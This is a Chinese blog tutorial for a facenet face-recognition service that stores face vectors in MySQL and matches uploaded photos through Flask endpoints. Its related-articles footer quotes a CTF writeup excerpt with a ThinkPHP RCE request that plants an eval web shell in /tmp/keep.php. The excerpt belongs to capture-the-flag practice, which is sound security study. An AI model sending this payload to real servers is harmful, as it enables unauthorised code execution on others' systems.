Python实现检测图片中的人脸,将识别到的人脸向量存入数据库,并实现提交的图片的人脸信息与入库的人脸信息进行比对

news/2024/11/22 18:10:08/

facenet_face_regonistant

完整代码下载地址:Python实现检测图片中的人脸,将识别到的人脸向量存入数据库
利用facenet实现检测图片中的人脸,将识别到的人脸向量存入数据库,此外利用post提交一个新图片(也可以提交一个图片地址,参考face_recognition_api.py文件中get_url_imgae函数自行修改),返回数据库中相似的人脸的信息
算法主要分为2个步骤

1.提取图片中的人脸 ,并保存到临时目录中

2.将人脸图片转换为128维的向量 ,便于后续求人脸相似度

项目主要分为3个步骤

1.提交post请求,将uid ugroup pic提交,进行人脸信息保存操作

2.收到请求后将pic进行处理解析为128维向量保存,并跟uid和ugroup保存入库 ,返回数据库插入成功的id

3.提交post请求,将ugroup pic提交人脸查询请求,意思为再ugroup中查看与图片pic相似的人脸

4.收到请求后,处理图片解析图片中所有的人脸,进行按库查询,然后与该图片中所有人脸相似的uid和距离(相似度距离)

安装准备

安装python包

按照requirements.txt中的包全部安装即可(其中mysql-connector-python 我采用的yum install 安装的)
如下
tensorflow==1.2
scipy
scikit-learn
opencv-python
h5py
matplotlib
Pillow
requests
psutil
mysql-connector-python
Werkzeug
Flask
Flask-HTTPAuth

提前建立数据库

建表语句再database.sql
(需要提前建立数据库,名字自己定义,本项目数据库名为face_data)
数据库配置在face_mysql.py文件中
(第12行 配置数据库用户名、密码、地址、数据库地址 本案例配置如下

db = mysql.connector.connect(user='root', password='123456', host='127.0.0.1', database='face_data')

模型准备

本项目是根据facenet中提取关键的代码,将其进行封装使用
所以需要提交下载facenect提供的模型 模型地址 需要可访问谷歌

该模型现在保存在百度网盘中 密码:avbl
下载下来后按照models\facenet\20170512-110547 这个目录结构存放即可
百度网盘链接 : 链接:http://pan.baidu.com/s/1i4YhAdB 密码:avbl

如何使用?

首先在服务器上 执行

python   face_recognition_api.py  

访问地址是XXXXXX:8088 这个可以配置 (文件face_recognition_api.py 最后代码中有注释)

模拟post请求,如图所示

本项目演示案例是利用谷歌浏览器插件“Postman”进行模拟的post请求
模拟post请求,如图所示
图中依次是插入、查询时的场景

  • 插入请求地址为http://127.0.0.1:8088/face/insert
  • 查询请求地址为http://127.0.0.1:8088/face/query
    请求参数如图所示 文本字段有uid ugroup 文件字段是imagefile

插入示意图

查询示意图1

查询示意图1

处理文件下的图片提取人脸图片问题

处理一个文件夹下的所有图片,将人脸信息提取出来并保存到单独的文件夹下
执行

python   face_recognition_savepic.py  

修改文件参数

1.images_path:要处理的图片文件夹路径

2.modelpath: 模型存放路径

3.out_path : 将每个图片中每个人脸转换为128维向量保存到json文件中

识别图像中的人脸并保存图片案例

例如下图是将test.jpg 和test2.jpg识别人脸
在test.jpg 识别到一个人脸 保存为test_0.jpg
在test2.jpg 识别到2个人脸 保存为test2_0.jpg test2_1.jpg

原图 test.jpg

原图

识别结果 test_0.jpg

识别人脸图

原图 test2.jpg

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A9mbgVFa-1672991897508)(null)]

识别结果 test2_0.jpg test2_0.jpg

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nq716Lny-1672991897558)(null)]
识别人脸图2

完整代码下载地址:Python实现检测图片中的人脸,将识别到的人脸向量存入数据库


http://www.ppmy.cn/news/10486.html

相关文章

(强制)类型转换方法

目录 一、C语言中的类型转换 二、C中的强制类型转换 2.1 static_cast 2.2 reinterpret_cast 2.3 const_cast 2.4 dynamic_cast 2.5 总结 一、C语言中的类型转换 在C语言中,若赋值运算符左右两侧类型不同,或者形参与实参类型不匹配,或…

Linux应用编程---3.wait()函数

Linux应用编程—3.wait()函数 ​ 首先引入三个函数,我们通过在Linux终端下查阅它的作用与使用方法。 ​ Linux终端命令下输入:man exit,敲击回车键即可打开exit函数详情页。 图1 exit编程手册​ exit函数的作用是终止一般进程,没…

setMouseTacking(true) 没有效果?

描述 一般来讲,我们希望实现在mouseMoveEvent中获取当前鼠标的位置,以触发一些自定义的鼠标hover特效。在这种情形下需要启动mouse tacking才能达到效果,原因是mouseMoveEvent默认是在鼠标按下后才会触发。>> QWidget::mouseMoveEvent…

ArrayList | 简单的洗牌算法

一个洗牌程序需要包含: 创建一副扑克牌(除去大小王剩下52张,每种花色13张)。洗牌,打乱牌的顺序。揭牌,每位玩家轮流揭牌,从洗完后的牌组中获得自己的牌。因此,我们可以依照以下思路来…

2023 Real World CTF体验赛部分Writeup

web1 Thinkphp lang多语言 RCE漏洞&#xff0c;直接打 GET /index.php?config-create/<?eval($_REQUEST[1]);?>/tmp/keep.php HTTP/1.1 Host: 47.98.124.175:8080 Cache-Control: max-age0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; …

力扣sql入门篇(一)

力扣sql入门篇(一) 1 两人之间的通话天数 1.1 题目内容 1.1.1 基本题目信息 1.1.2 示例输入输出 1.2 示例sql语句 # 两个人之间的通话需要统计成一次 SELECT from_id person1,to_id person2,count(*) call_count,sum(duration) total_duration FROM Calls GROUP BY least(f…

Java之String概述、对象创建原理和常见面试题、String类常用API、案例

目录String、ArrayList前言String简单介绍Arraylist简单介绍String 概述String类的特点详解总结String类创建对象的两种方式两种方式有什么区别吗&#xff1f;总结String常见面试题String类常用API-字符串内容比较总结String类常用API-遍历、替换、截取、分割操作String案例验证…

Ansible 介绍与实战操作演示

文章目录一、概述二、Ansible 架构三、Ansible 工作原理四、Ansible 安装与基础配置1&#xff09;开启记录日志2&#xff09;去掉第一次连接ssh ask确认五、Ansible 的七个命令1&#xff09;ansible2&#xff09;ansible-doc3&#xff09;ansible-playbook4&#xff09;ansible…